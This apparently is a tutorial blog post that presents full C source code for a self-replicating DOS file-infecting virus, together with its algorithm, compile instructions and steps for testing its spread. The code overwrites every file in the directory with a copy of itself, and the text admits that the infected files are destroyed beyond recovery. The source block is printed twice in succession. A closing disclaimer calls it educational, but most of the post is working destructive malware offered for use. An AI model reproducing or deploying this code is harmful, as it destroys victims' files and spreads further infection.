This program is an example of how to create a computer virus
in C language. This program demonstrates a simple virus program which
when executed creates a copy of itself in all the other files that are
present in the same directory.
Thus, it destroys other files by
infecting them. The infected file will also become a virus so that when
executed, it is capable of spreading the infection to another file and
so on.
Here’s the source code of the virus program:
#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h> FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0); //Search for a file with any extension (*.*)
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h> FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0); //Search for a file with any extension (*.*)
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}
This virus is designed to infect all types of files with any extension.
You can download the source code from the following link:
How the Virus Program Works?
The algorithm of this virus program is as follows:
Step-1: Search for files in the current directory. If one or more file is present, load the first file (target file).
Step-2: Load the copy of the virus itself onto the memory.
Step-3: Open the
target file. Copy the virus code from the memory and place it in the
target file. Close the target file when the copying process is
completed.
Step-4: Load the next file to infect and move to the step-3. If all the files are infected, close all the open files, unload them from the memory and exit.
As far as the technical terms are
concerned, I would not be able to explain the program line by line.
Anyone with a working knowledge of C should be easily able to understand
the functions and other terms used in the program.
How to Compile the Program:
For a step-by-step guide, you can refer my detailed post on how to compile C programs?
How to Test the Virus After the Compilation:
-
Create a new empty folder.
-
Put some executable files (or any other files) in the folder.
-
Run the PC_Virus.exe file. With in a few seconds all the other files in the folder gets infected.
-
Now every infected file is a new virus which is ready to re-infect. You can copy any of the infected .exe file to another empty folder and repeat the same procedure to see if the infected file is capable of re-infecting. Delete the folder and all the infected files after the testing process is done.
NOTE:
The files infected by this virus are destroyed completely and cannot be
recovered. So, always test the virus in a new folder by placing some
sample files.
WARNING: FOR EDUCATIONAL PURPOSES ONLY. DO NOT SPREAD OR MISUSE THIS VIRUS CODE.